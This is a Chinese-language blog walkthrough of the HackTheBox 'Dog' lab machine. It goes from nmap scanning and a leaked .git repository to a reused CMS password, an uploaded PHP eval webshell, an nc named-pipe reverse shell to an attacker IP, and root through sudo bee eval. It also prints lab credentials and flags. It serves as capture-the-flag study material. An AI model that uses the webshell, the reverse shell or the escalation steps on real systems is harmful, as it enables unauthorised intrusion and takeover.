HTB-Dog 渗透测试详细记录

你是慕鸢呀~ 发布于 14 天前 7 次阅读 1780 字 预计阅读时间: 8 分钟


HTB-Dog 渗透测试详细记录

摘要

本文详细记录了针对HackTheBox平台上"Dog"靶机的渗透测试过程。通过系统化的侦察、漏洞识别和利用,成功实现了从初始访问到提权的完整攻击链路。主要漏洞包括Git源码泄露、Backdrop CMS后台文件上传、配置文件中的明文凭据和sudo提权。

关键技术

  • Git源码泄露利用与信息收集
  • Backdrop CMS漏洞利用
  • Webshell上传与反弹Shell
  • 凭据收集与密码喷洒
  • Sudo权限滥用与提权技术

1. 初始侦察阶段

TCP端口快速扫描

nmap --min-rate 10000 -sT -p- 10.10.11.58

参数解释:

  • --min-rate 10000: 设置发包速率至少为10000包/秒,加速扫描
  • -sT: 使用TCP连接扫描,比SYN扫描更可靠但更容易被目标检测
  • -p-: 扫描所有65535个TCP端口

扫描结果:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

UDP端口扫描

nmap --min-rate 10000 -sU -p- 10.10.11.58

参数解释:

  • -sU: 执行UDP端口扫描,识别开放的UDP服务

扫描结果:

All 65535 scanned ports on 10.10.11.58 are in ignored states.
Not shown: 65499 open|filtered udp ports (no-response), 36 closed udp ports (port-unreach)

详细服务版本扫描

针对已识别的开放端口进行深度服务扫描:

nmap --min-rate 10000 -sT -sCV -O -p22,80 10.10.11.58

参数解释:

  • -sCV: 组合参数,启用服务版本检测(-sV)和默认脚本扫描(-sC)
  • -O: 尝试操作系统检测
  • -p22,80: 指定要扫描的端口

扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2. 服务探测与信息收集

关键发现分析

从Nmap扫描结果中识别到以下关键信息:

  1. Web应用框架: 目标运行Backdrop CMS版本1,为潜在CMS漏洞提供了攻击面
  2. 敏感目录泄露: 发现robots.txt文件,包含多个禁止爬虫访问的目录,暗示这些可能是敏感或管理路径
  3. Git仓库泄露: 网站根目录存在暴露的.git目录,这是一个严重的安全问题,可能泄露源代码和配置信息

Git源码泄露利用

使用git-dumper工具获取泄露的Git仓库内容:

git-dumper http://10.10.11.58/.git/ ./dog-git

此命令下载了网站上暴露的.git目录中的所有内容,包括源代码、配置文件和提交历史。

敏感信息收集

在获取的代码中搜索关键字查找潜在用户名:

grep -r "@dog.htb"

搜索结果:

.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000   commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000    commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"

通过搜索找到两个潜在用户名: dogtiffany

数据库凭据发现

在settings.php的第十五行,发现MySQL数据库连接信息:

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
  • 用户名: root
  • 密码: BackDropJ2024DS2024
  • 数据库名: backdrop

3. 漏洞识别与初始访问

CMS后台登录

尝试密码碰撞,成功进入后台 http://10.10.11.58/?q=user/login

URL: http://10.10.11.58/?q=user/login
用户名: tiffany
密码: BackDropJ2024DS2024

成功登录后台,确认存在密码重用情况:

登录成功截图

文件上传漏洞利用

发现手动安装模块页面可以上传文件:

URL: http://10.10.11.58/?q=admin/installer/manual
  • 只允许上传 tar tgz gz bz 格式

上传限制截图

创建包含Webshell的主题文件

从GitHub克隆一个合法的Backdrop主题作为载体:

┌──(root㉿kali)-[~/oscp/dog]
└─# git clone https://github.com/backdrop-contrib/bedrock.git
正克隆到 'bedrock'...
remote: Enumerating objects: 165, done.
remote: Counting objects: 100% (165/165), done.
remote: Compressing objects: 100% (124/124), done.
remote: Total 165 (delta 81), reused 122 (delta 38), pack-reused 0 (from 0)
接收对象中: 100% (165/165), 85.68 KiB | 300.00 KiB/s, 完成.
处理 delta 中: 100% (81/81), 完成.          

在主题目录中创建Webshell文件a.php:

<?php @eval($_POST['a']) ?>

将修改后的主题打包为允许上传的格式:

tar -czvf bedrock.tar.gz bedrock/

上传Webshell并建立访问

将打包的主题文件上传到CMS:

上传成功截图

上传成功后,根据CMS结构构造Webshell访问URL:

http://10.10.11.58/themes/bedrock/a.php

使用中国蚁剑(AntSword)工具连接Webshell:

蚁剑连接成功

4. 获取反向Shell

确认目标机器上的工具

检查目标系统上是否存在nc:

(www-data:/bin/) $ which nc

输出:

/usr/bin/nc

建立反向Shell连接

在攻击机器上设置监听器:

nc -lvnp 9999

在目标系统上执行反向Shell命令:

使用命名管道:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.14 9999 >/tmp/f

成功获得www-data用户权限的Shell。

5. 横向移动

系统用户枚举

检查系统上的用户目录:

ls /home

输出:

jobert
johncusack

凭据利用尝试

使用之前发现的MySQL密码尝试SSH登录系统用户:

ssh jobert@10.10.11.58      # 失败
ssh johncusack@10.10.11.58  # 成功 - 密码: BackDropJ2024DS2024

成功通过密码重用漏洞横向移动到johncusack用户。

拿到第一个key

johncusack@dog:~$ cat user.txt
809cefbfac47da4f30751ef9d91d5e0f

6. 提权前的信息收集

检查Sudo权限

检查当前用户的Sudo权限配置:

sudo -l

输出:

[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

发现用户可以以root权限执行/usr/local/bin/bee命令。

分析特权命令

检查bee命令的本质:

johncusack@dog:~$ ls -l /usr/local/bin/bee
lrwxrwxrwx 1 root root 26 Jul  9  2024 /usr/local/bin/bee -> /backdrop_tool/bee/bee.php
johncusack@dog:~$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php
johncusack@dog:~$ cat /usr/local/bin/bee
#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includ-es/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see https://www.php.net/manual/en/function.set-error-handler.php
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  // Set the title to use in h1 and title elements.
  $title = "Bee Gone!";
  // Place a white block over "#!/usr/bin/env php" as this is output before
  // anything else.
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
  // Add the bee logo and style appropriately.
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  // Add meaningful text.
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  // Add the document title using javascript when the window loads.
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  // Output the combined string.
  return $browser_output;
}

分析这个php文件

核心逻辑

  • 包含多个依赖文件(如 miscellaneous.inc, command.inc 等),路径基于 __DIR__(当前脚本目录)。
  • 执行流程:初始化服务器、解析输入、处理命令、显示输出等(bee_initialize_server(), bee_parse_input(), bee_process_command() 等)。

根据以上信息推测,该脚本的执行路径应该是cms目录

查看帮助信息:

sudo /usr/local/bin/bee --help

从帮助输出中发现重要功能:

ADVANCED
  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

bee命令提供了eval功能,可以执行任意PHP代码。

7. 提权

测试命令执行

测试bee命令的代码执行能力:

cd /var/www/html
sudo /usr/local/bin/bee ev "system('id');"

输出:

uid=0(root) gid=0(root) groups=0(root)

确认命令以root权限执行。

构造命令提权至root

使用bee命令的eval功能获取root权限shell:

sudo /usr/local/bin/bee ev 'passthru("bash");'

成功提权:

root@dog:/var/www/html# whoami
root
root@dog:/var/www/html# cat /root/root.txt
65ffe71b7d729c6****6e31530295bf0

root权限截图

8. 总结

完整攻击链路图

端口扫描
↓
发现暴露的.git目录和Backdrop CMS
↓
利用git-dumper提取源码
↓
发现数据库凭据和用户信息
↓
登录CMS后台(tiffany:BackDropJ2024DS2024)
↓
上传包含webshell的主题包
↓
获取www-data反向shell
↓
利用密码重用横向移动到johncusack
↓
发现johncusack可sudo执行bee命令
↓
利用bee命令的eval功能
↓
获取root权限

各阶段关键点总结

  1. 初始侦察: 识别目标仅开放HTTP和SSH两个TCP端口
  2. 信息收集: 发现.git目录泄露和Backdrop CMS平台
  3. 漏洞利用: 通过.git目录提取源码和数据库凭据
  4. 初始访问: 利用发现的凭据登录CMS后台
  5. 持久访问: 通过主题上传功能部署webshell
  6. 提权1: 利用密码复用登录johncusack用户
  7. 提权2: 利用sudo权限执行bee命令中的PHP eval获取root权限

攻击向量简明展示

  1. Git源码泄露 - 暴露敏感信息和凭据
  2. 密码重用 - 数据库密码用于用户账户
  3. CMS文件上传 - 主题安装功能的过滤不严格
  4. Sudo权限配置不当 - 允许执行具有代码执行功能的命令

以上记录详细展示了从初始侦察到最终获取root权限的完整攻击链路,值得一看!!!

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-05-11